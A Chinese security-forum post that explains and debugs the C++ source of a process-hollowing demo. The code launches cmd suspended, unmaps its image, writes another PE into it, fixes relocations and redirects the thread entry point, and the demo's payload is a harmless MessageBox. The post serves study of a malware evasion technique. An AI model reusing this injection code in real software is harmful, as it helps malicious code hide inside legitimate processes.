首页
社区
课程
招聘
[分享]进程替换技术之源码分析与调试
2021-1-1 20:41 7140

[分享]进程替换技术之源码分析与调试

2021-1-1 20:41
7140

2021年第一篇技术分析文章,有不足之处还请大家多多包涵。

进程替换技术(process hollowing)

通过对API的调用,实现文件不落地的一种技术。需要编译选项/DYNAMICBASE or /FIXED 其中一个为NO 目的是取消生成重定位表,这里已/DYNAMICBASE为例子。

 

1609481206895

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
涉及的API使用情况和相关重定位的计算方式。
CreateProcess               //以CREATE_SUSPENDED挂起状态创建进程
ZwUnmapviewOfSection       //释放目标进程内存,解除内存映射
VirtualAllocEx             //为恶意代码分配新空间
WriteProcessMenory         //写入数据(文件头)
for(i=0;i<NumberOfSection;i++)
    WriteProcessMenory     //写入节区数据
SetThreadContext            //设置线程执行位置
ResumeThread               //重新启动主线程
 
重定位表存储表达式=2*n+4+4 字节
第一个4为VirtualAddress
第二个4为SizeofBlock
n为重定位表个数
重定位表主要修改FF15/FF25类跳转和涉及取内存地址的区域

源码讲解

测试代码来源 github,HelloWorld和ProcessHollowing两个进程。

 

ProcessHollowing通过main函数代码可以发现CreateHollowedProcess函数是整个进程替换的核心,对其进行重点学习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int _tmain(int argc, _TCHAR* argv[])
{
    char* pPath = new char[MAX_PATH];
    GetModuleFileNameA(0, pPath, MAX_PATH);
    pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
    strcat(pPath, "helloworld.exe");
 
    CreateHollowedProcess
    (
        "cmd",
        pPath
    );
    system("pause");
    VirtualFreeEx(
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_DECOMMIT);
    TerminateProcess(pProcessInfo->hProcess, 0);
    delete pStartupInfo;
    delete pProcessInfo;
    delete pBuffer;
    delete pContext;
    delete []pPath;
 
    return 0;
}

由于要进行进程替换,所以得先启动一个进程然后将这个进程""挖空",并填入需要写入的另外一个进程的内容,最后跳转到执行点执行,就完成了整个进程替换的过程。

 

通过前半部分的代码可以得知目前正在获取的cmd的进程信息,并且CreateProcessA的第六个参数决定了该进程将以挂起的形式创建。

 

通过PROCESS_INFORMATION结构中的hProcess来获取进程句柄,通过PEB结构获取进程的ImageBaseAddress结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pStartupInfo = new STARTUPINFOA();
    pProcessInfo = new PROCESS_INFORMATION();
    CreateProcessA
    (
        0,
        pDestCmdLine, //cmd       
        0,
        0,
        0,
        CREATE_SUSPENDED,
        0,
        0,
        pStartupInfo,
        pProcessInfo
    );
 
    if (!pProcessInfo->hProcess)
    {
        printf("Error creating process\r\n");
 
        return;
    }
 
    pPEB = ReadRemotePEB(pProcessInfo->hProcess);
 
    PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);
 
    printf("Opening source image\r\n");

PEB结构如下所示,由于PEB结构较大只留下部分结构信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBaseAddress;
    PPEB_LDR_DATA           LoaderData;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PPEBLOCKROUTINE         FastPebLockRoutine;
    PPEBLOCKROUTINE         FastPebUnlockRoutine;
    ······
}

接下来使用CreateFileA的第二个参数GENERIC_READ,来判断获取HelloWorld文件是否存在。如果存在则获取文件大小并分配内存将其加载到内存中,pBuffer就是这段内存的头指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HANDLE hFile = CreateFileA
    (
        pSourceFile, //HelloWorld文件的位置
        GENERIC_READ,
        0,
        0,
        OPEN_ALWAYS,
        0,
        0
    );
 
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Error opening %s\r\n", pSourceFile);
        return;
    }
 
    dwSize = GetFileSize(hFile, 0);
    pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);

通过自写的GetLoadedImage来完成镜像文件的装载。

1
2
PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);//载入镜像
pSourceHeaders = GetNTHeaders((DWORD)pBuffer);//获取NT结构

来看一下具体的实现过程,通过DbgHelp提供的LOADED_IMAGE函数就能够完成对内存镜像文件的解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase;
    PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase);
 
    PLOADED_IMAGE pImage = new LOADED_IMAGE();
 
    pImage->FileHeader =
        (PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew);
 
    pImage->NumberOfSections =
        pImage->FileHeader->FileHeader.NumberOfSections;
 
    pImage->Sections =
        (PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew +
        sizeof(IMAGE_NT_HEADERS32));
 
    return pImage;

LOADED_IMAGE结构的具体定义如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct _LOADED_IMAGE {
    PSTR                  ModuleName;
    HANDLE                hFile;
    PUCHAR                MappedAddress;
#ifdef _IMAGEHLP64
    PIMAGE_NT_HEADERS64   FileHeader;
#else
    PIMAGE_NT_HEADERS32   FileHeader;
#endif
    PIMAGE_SECTION_HEADER LastRvaSection;
    ULONG                 NumberOfSections;
    PIMAGE_SECTION_HEADER Sections;
    ULONG                 Characteristics;
    BOOLEAN               fSystemImage;
    BOOLEAN               fDOSImage;
    BOOLEAN               fReadOnly;
    UCHAR                 Version;
    LIST_ENTRY            Links;
    ULONG                 SizeOfImage;
} LOADED_IMAGE, *PLOADED_IMAGE;

紧接着进行相关节的取消映射,方便之后对该节进行相关写入操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
printf("Unmapping destination section\r\n");
 
HMODULE hNTDLL = GetModuleHandleA("ntdll");
 
FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
 
_NtUnmapViewOfSection NtUnmapViewOfSection =
    (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
 
DWORD dwResult = NtUnmapViewOfSection
(
    pProcessInfo->hProcess,
    pPEB->ImageBaseAddress
);
 
if (dwResult)
{
    printf("Error unmapping section\r\n");
    return;
}

接着通过VirtualAllocEx在cmd进程中分配内存,内存的起始地址有第二个参数决定,这样就完成了相关内存的分配过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pRemoteImage = VirtualAllocEx //如果errorcode=487 则可能是本程序编译选项/DYNAMICBASE未设置为NO
    (
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
 
    if (!pRemoteImage)
    {
        printf("VirtualAllocEx call failed error=%d\r\n",GetLastError());
        return;
    }
 
    DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress -
        pSourceHeaders->OptionalHeader.ImageBase;
 
    printf
    (
        "Source image base: 0x%p\r\n"
        "Destination image base: 0x%p\r\n",
        pSourceHeaders->OptionalHeader.ImageBase,
        pPEB->ImageBaseAddress
    );

由于复制的内容大同小异,这里针对.reloc也就是重定位节进行一个重点讲述,也是本次内容中最重要的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
if (dwDelta)
        for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
        {
            char* pSectionName = ".reloc";       
 
            if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))
                continue;
 
            printf("Rebasing image\r\n");
 
            DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;
            DWORD dwOffset = 0;
 
            IMAGE_DATA_DIRECTORY relocData =
                pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
 
            while (dwOffset < relocData.Size)
            {
                PBASE_RELOCATION_BLOCK pBlockheader =
                    (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];
 
                dwOffset += sizeof(BASE_RELOCATION_BLOCK);
 
                DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);
                //
 
                PBASE_RELOCATION_ENTRY pBlocks =
                    (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];
 
                for (DWORD y = 0; y <  dwEntryCount; y++)
                {
                    dwOffset += sizeof(BASE_RELOCATION_ENTRY);
 
                    if (pBlocks[y].Type !=3)
                        continue;
 
                    DWORD dwFieldAddress =
                        pBlockheader->PageAddress + pBlocks[y].Offset;
 
                    DWORD dwBuffer = 0;
                    ReadProcessMemory
                    (
                        pProcessInfo->hProcess,
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0
                    );
 
                    //printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer - dwDelta);
 
                    dwBuffer += dwDelta;
 
                    BOOL bSuccess = WriteProcessMemory
                    (
                        pProcessInfo->hProcess,
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0
                    );
                    printf("NewRelocaAddress=0x%x -> Newvalue=0x%x\r\n", dwFieldAddress,dwBuffer);
                    num++;
                    if (!bSuccess)
                    {
                        printf("Error writing memory\r\n");
                        continue;
                    }
                }
            }
 
            break;
        }
    printf("total write %d relocationtable\r\n",num);

DataDirectory是一个结构体数组,结构体由VirtualAddress和Size组成。

1
2
3
4
5
6
typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
 
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16

数组包含以下15种,这里用到的就是IMAGE_DIRECTORY_ENTRY_BASERELOC,即重定位表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE        2   // Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY        4   // Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory
//      IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage)
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE    7   // Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG    10   // Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT            12   // Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor

其中CountRelocationEntries是一个宏,用于计算重定位的个数。

1
2
3
4
#define CountRelocationEntries(dwBlockSize)        \
    (dwBlockSize -                                \
    sizeof(BASE_RELOCATION_BLOCK)) /            \
    sizeof(BASE_RELOCATION_ENTRY)

除此之外PBASE_RELOCATION_ENTRY结构如下所示,前12位表示偏移量,后4位表示类型。

1
2
3
4
typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

接下来的部分会涉及到线程执行劫持,利用OpenThread打开目标线程,在获取目标线程的句柄后,恶意软件通过调用SuspendThread来将线程置于挂起模式。调用VirtualAllocEx和WriteProcessMemory来分配内存并执行代码注入的操作。然后调用GetThreadContext和GetThreadContext获取并设置线程的上下文,以将EIP寄存器设置到要执行恶意代码的地址,达到重启线程的作用。。

1
2
3
4
5
6
7
8
涉及的相关API函数使用顺序
OpenThread
SuspendThread
VirtualAllocEx
WriteProcessMemory
GetThreadContext
SetThreadContext
ResumeThread

注意的是pContext->Eax = dwEntrypoint;利用某个寄存器来完成入口点的赋值,利用SetThreadContext完成上下文设置,最后通过ResumeThread执行,代码如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
printf("total write %d relocationtable\r\n",num);
        DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress +
            pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
        printf("EntryPoint=0x%p\r\n", dwEntrypoint);
#ifdef WRITE_BP
        printf("Writing breakpoint\r\n");
        DWORD dwBreakpoint = 0xCC;
        if (!WriteProcessMemory
            (
            pProcessInfo->hProcess,
            (PVOID)dwEntrypoint,
            &dwBreakpoint,
            4,
            0
            ))
        {
            printf("Error writing breakpoint\r\n");
            return;
        }
#endif
        pContext = new CONTEXT();
        pContext->ContextFlags = CONTEXT_INTEGER;
 
        printf("Getting thread context\r\n");
 
        if (!GetThreadContext(pProcessInfo->hThread, pContext))
        {
            printf("Error getting context\r\n");
            return;
        }
 
        pContext->Eax = dwEntrypoint;           
 
        printf("Setting thread context\r\n");
 
        if (!SetThreadContext(pProcessInfo->hThread, pContext))
        {
            printf("Error setting context\r\n");
            return;
        }
 
        printf("Resuming thread\r\n");
 
        if (!ResumeThread(pProcessInfo->hThread))
        {
            printf("Error resuming thread\r\n");
            return;
        }
 
        printf("Process hollowing complete\r\n");
}

自此,整个代码流程就讲解完成如有什么疑问,可自行查询相关资料或者留言告知我。

HelloWorld演示

接下来进行调试演示,通过调试发现Creating process的进程是cmd,并且为Suspended,符合之前的描述过程。

 

1609487103104

 

获取到cmd相关结构信息。

 

1609487237000

 

获取重定位的目标差。

 

1609487875703

 

由于HelloWorld.exe本身没有重定位表,所以调试的时候一直没有进入相关函数。

DLL调试

这里自己创建一个dll来替代HelloWorld。

 

1609502777237

 

通过调试发现dwEntryCount值为136,目前还没有搞明白是什么意思。

 

1609503039805

 

最后通过打印,发现一共找到了148个重定位函数,有些不可思议。

 

1609502102873

 

借助studype来看一下重定位表的情况,0x88+0xE=0x96=226,比输出的148大,通过内容发现有些是00,所以我选择相信有148个需要重定位的函数。

 

1609502260984

 

新的程序入口点为0xABB829A即将赋值给eax+0xb0这里。

 

1609502376011

 

通过另一个调试器附件进程,如果附加失败则在CreateProcess之后就附加即可。

 

1609502565734

 

成功弹出MessageBox,整体调试完毕。

 

1609503810813


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2021-1-4 09:20 被Risks编辑 ,原因: 修改帖子主题
收藏
点赞2
打赏
分享
最新回复 (5)
雪    币: 477
活跃值: (1412)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mb_foyotena 2021-1-2 02:43
2
0
这是不是就是memorypeloader
雪    币: 5430
活跃值: (3843)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
Risks 2 2021-1-2 10:16
3
0
mb_foyotena 这是不是就是memorypeloader
相似吧,都是内存加载pe然后解析
雪    币: 310
活跃值: (1917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 2021-1-4 08:41
4
0
nice
雪    币: 2
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
那伤很唯美 2021-1-4 09:45
5
0
nice
雪    币: 350
活跃值: (265)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mllaopang 2021-1-5 10:38
6
0

感谢分享
游客
登录 | 注册 方可回帖
返回